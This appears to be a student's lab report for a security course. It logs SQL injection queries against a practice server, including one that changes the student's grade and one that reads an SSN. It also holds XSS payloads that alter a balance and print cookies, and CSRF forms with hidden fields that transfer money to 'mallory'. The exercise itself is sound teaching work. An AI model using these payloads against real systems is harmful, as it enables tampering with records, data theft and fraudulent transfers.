Tyler Kim

***SQL, XSS, & CSRF***

**SQL Injection**

|  |  |  |
| --- | --- | --- |
| **USERID** | **MODIFICATIONS** | **TIME STAMP** |
| '; show tables; | None | *This page served at Sat, 25 Mar 2023 23:00:00 -0400* |
| ‘ ;select \* from Database where userid=tkj9ep; | None | *This page served at Sat, 25 Mar 2023 23:02:00 -0400* |
| '; show \* from Tables\_in\_insecure; | None | *This page served at Sat, 25 Mar 2023 23:05:59 -0400* |
| '; describe Tables\_in\_insecure | None | *This page served at Sat, 25 Mar 2023 23:07:31 -0400* |
| '; select \* from Tables\_in\_insecure where userid='tkj9ep'; | None | *This page served at Sat, 25 Mar 2023 23:09:36 -0400* |
| '; select \* from Tables\_in\_insecure; | None | *This page served at Sat, 25 Mar 2023 23:14:07 -0400* |
| '; describe Tables\_in\_insecure; | None | *This page served at Sat, 25 Mar 2023 23:14:46 -0400* |
| '; use Database; | None | *This page served at Sat, 25 Mar 2023 23:17:24 -0400* |
| '; describe 'Tables\_in\_insecure'; | None | *This page served at Sat, 25 Mar 2023 23:18:47 -0400* |
| '; use Database; | None | *This page served at Sat, 25 Mar 2023 23:19:28 -0400* |
| '; select \* from Tables\_in\_insecure where userid='tkj9ep'; | None | *This page served at Sat, 25 Mar 2023 23:21:22 -0400* |
| '; describe Tables\_insecure -- | None | *This page served at Sat, 25 Mar 2023 23:27:45 -0400* |
| '; describe Tables\_in\_insecure -- | None | *This page served at Sat, 25 Mar 2023 23:28:42 -0400* |
| '; describe Database.Tables\_in\_insecure -- | None | *This page served at Sat, 25 Mar 2023 23:29:47 -0400* |
| '; describe Tables\_in\_insecure; -- | None | *This page served at Sat, 25 Mar 2023 23:31:02 -0400* |
| '; describe Tables\_in\_insecure -- | None | *This page served at Sat, 25 Mar 2023 23:35:20 -0400* |
| '; describe Tables\_in\_insecure -- | None | *This page served at Sat, 25 Mar 2023 23:35:53 -0400* |
| '; describe Tables\_in\_insecure; -- |  | *This page served at Sat, 25 Mar 2023 23:37:57 -0400* |
| ‘; show tables -- | None | *This page served at Sat, 25 Mar 2023 23:41:14 -0400* |
| ‘; show tables -- | None | *This page served at Sat, 25 Mar 2023 23:42:35 -0400* |
| ‘; describe data -- | None | *This page served at Sat, 25 Mar 2023 23:43:11 -0400* |
| '; select \* from data where userid='tkj9ep' -- | None | *This page served at Sat, 25 Mar 2023 23:48:00 -0400* |
| '; select \* from data where userid='tkj9ep' -- | None | *This page served at Sat, 25 Mar 2023 23:49:06 -0400* |
| '; select \* from data where userid='tkj9ep'; -- | None | *This page served at Sat, 25 Mar 2023 23:50:03 -0400* |
| '; select \* from data where userid='tkj9ep'; -- | None | *This page served at Sat, 25 Mar 2023 23:50:22 -0400* |
| ‘; describe data -- | None | *This page served at Sat, 25 Mar 2023 23:51:39 -0400* |
| '; describe data; -- |  | *This page served at Sat, 25 Mar 2023 23:52:50 -0400* |
| '; describe data -- | None | *This page served at Sat, 25 Mar 2023 23:53:23 -0400* |
| '; describe data -- | None | *This page served at Sat, 25 Mar 2023 23:54:10 -0400* |
| '; select grade from data where userid='tkj9ep' -- | None | *This page served at Sat, 25 Mar 2023 23:56:26 -0400* |
| '; select ssn from data where userid='tkj9ep' -- | None | *This page served at Sat, 25 Mar 2023 23:57:51 -0400* |
| '; update data set grade='A' where userid='tkj9ep' -- | Changed grade entry for tkj9ep | *This page served at Sun, 26 Mar 2023 00:01:28 -0400* |
| '; select grade from data where userid='tkj9ep' -- | None | *This page served at Sun, 26 Mar 2023 00:01:50 -0400* |

Hidden Information: SSN (109201914)

**XSS Scripting Attack**

|  |  |
| --- | --- |
| **USERID** | **TIME STAMP** |
| Tkj9ep | This page served at Sun, 26 Mar 2023 14:53:45 -0400 |
| <script>\nbalance=1000000;\n<\script>tkj9ep | This page served at Sun, 26 Mar 2023 14:55:46 -0400 |
| Tkj9ep | This page served at Sun, 26 Mar 2023 14:56:03 -0400 |
| <script>\nbalance=10000000000;\n</script>tkj9ep | This page served at Sun, 26 Mar 2023 15:10:54 -0400 |
| <script>\nbalance=10000000000;\n</script>tkj9ep | This page served at Sun, 26 Mar 2023 15:11:34 -0400 |
| %3Cscript%3E%5Cnbalance%3D10000000000%3B%5Cn  %3C%2Fscript%3Etkj9ep | This page served at Sun, 26 Mar 2023 15:12:41 -0400 |
| <script>balance=10000000;</script>tkj9ep | This page served at Sun, 26 Mar 2023 15:26:51 -0400 |
| <script>balance=100000000;</script>tkj9ep | This page served at Sun, 26 Mar 2023 15:28:28 -0400 |
| <https://andromeda.cs.virginia.edu/~insecure/xss.php?name=>  %3Cscript%3Ebalance%3D100000000%3B%3C%2Fscript%3Etkj9ep | This page served at Sun, 26 Mar 2023 15:40:38 -0400 |
| <https://andromeda.cs.virginia.edu/~insecure/xss.php?name=>  %3Cscript%3Ebalance%3D100000000%3B%3C%2Fscript%3Etkj9ep | This page served at Sun, 26 Mar 2023 15:41:21 -0400 |
| <https://andromeda.cs.virginia.edu/~insecure/xss.php?name=>  %3Cscript%3E%5Cnbalance%3D100000000%  3B%5Cn%3C%2Fscript%3Etkj9ep | This page served at Sun, 26 Mar 2023 15:45:06 -0400 |
| <https://andromeda.cs.virginia.edu/~insecure/xss.php>?  userid=%3cscript%3ebalance%3d100000000%3b%3c%2fscript%3etkj9ep | This page served at Sun, 26 Mar 2023 15:52:21 -0400 |
| <script>document.write(accountNumber);</script>tkj9ep | This page served at Sun, 26 Mar 2023 16:12:36 -0400 |
| <https://andromeda.cs.virginia.edu/~insecure/xss.php?userid=>  %3cscript%3edocument.write(accountNumber)%3b%3c%2fscript%3etkj9ep | This page served at Sun, 26 Mar 2023 16:17:35 -0400 |
| <script>document.write(document.cookie);</script>tkj9ep | This page served at Sun, 26 Mar 2023 16:34:18 -0400 |
| Tkj9ep | This page served at Sun, 26 Mar 2023 16:34:40 -0400 |
| <https://andromeda.cs.virginia.edu/~insecure/xss.php?userid=>  %3cscript%3edocument.write(document.cookie)%3b%3c%2fscript%3etkj9ep | This page served at Sun, 26 Mar 2023 16:36:37 -0400 |
| <https://andromeda.cs.virginia.edu/~insecure/xss.php?userid=>  %3cscript%3edocument.write(document.cookie)%3b%3c%2fscript%3etkj9ep | This page served at Sun, 26 Mar 2023 16:42:04 -0400 |
| Tkj9ep | This page served at Sun, 26 Mar 2023 16:42:21 -0400 |
| <script>balance=100000000;</script>tkj9ep | This page served at Sun, 26 Mar 2023 16:42:59 -0400 |

Account Number: 2625059562

**CSRF**

Site 1:

<https://andromeda.cs.virginia.edu/~insecure/csrf.php?amount=200&to=mallory>

<form action="https://andromeda.cs.virginia.edu/~insecure/csrf.php" name="csrf" method="post">

<p>Transfer

<select name="amount">

<option value="0" selected="selected">$0</option>

<option value="20">$20</option>

<option value="40">$40</option>

<option value="60">$60</option>

<option value="80">$80</option>

<option value="100">$100</option>

</select>

to

<select name="to">

<option value="" selected="selected">----- select one -----</option>

<option value="egoists">Egoists Anonymous</option><option value="redundancy">The Society for Redundancy Society</option><option value="yacht">The Help Me Fix My Yacht Kickstarter</option><option value="vagueness">Vagueness or Something Association</option><option value="apostrophe">Misplaced Apostrophe's Anonymous</option><option value="mediocrity">International Mediocrity Foundation</option><option value="utopia">Utopians For A Better Society</option><option value="fame">Fame Seekers Anonymous</option><option value="codep">Codependency Cooperative</option><option value="moon">The Flat Moon Society</option> </select>

</p>

<input type="hidden" name="amount" value="200">

<input type="hidden" name="to"

value="mallory">

<input type="submit">

Site 2:

<https://andromeda.cs.virginia.edu/~insecure/csrf.php?csrf_token=123456789&amount=200&to=mallory>

<form action="https://andromeda.cs.virginia.edu/~insecure/csrf.php?token" name="csrf" method="post">

<p>Transfer

<select name='amount'>

<option value='0'>$0</option>

<option value='20'>$20</option>

<option value='40'>$40</option>

<option value='60'>$60</option>

<option value='80'>$80</option>

<option value='100'>$100</option>

</select>

to

<select name='to'>

<option value=''>----- select one -----</option>

<option value='egoists'>Egoists Anonymous</option><option value='redundancy'>The Society for Redundancy Society</option><option value='yacht'>The Help Me Fix My Yacht Kickstarter</option><option value='vagueness'>Vagueness or Something Association</option><option value='apostrophe'>Misplaced Apostrophe's Anonymous</option><option value='mediocrity'>International Mediocrity Foundation</option><option value='utopia'>Utopians For A Better Society</option><option value='fame'>Fame Seekers Anonymous</option><option value='codep'>Codependency Cooperative</option><option value='moon'>The Flat Moon Society</option> </select>

</p>

<input type='hidden' name='csrf\_token' value='123456789'>

<input type="hidden" name="amount" value="200">

<input type="hidden" name="to"

value="mallory">

<input type="submit">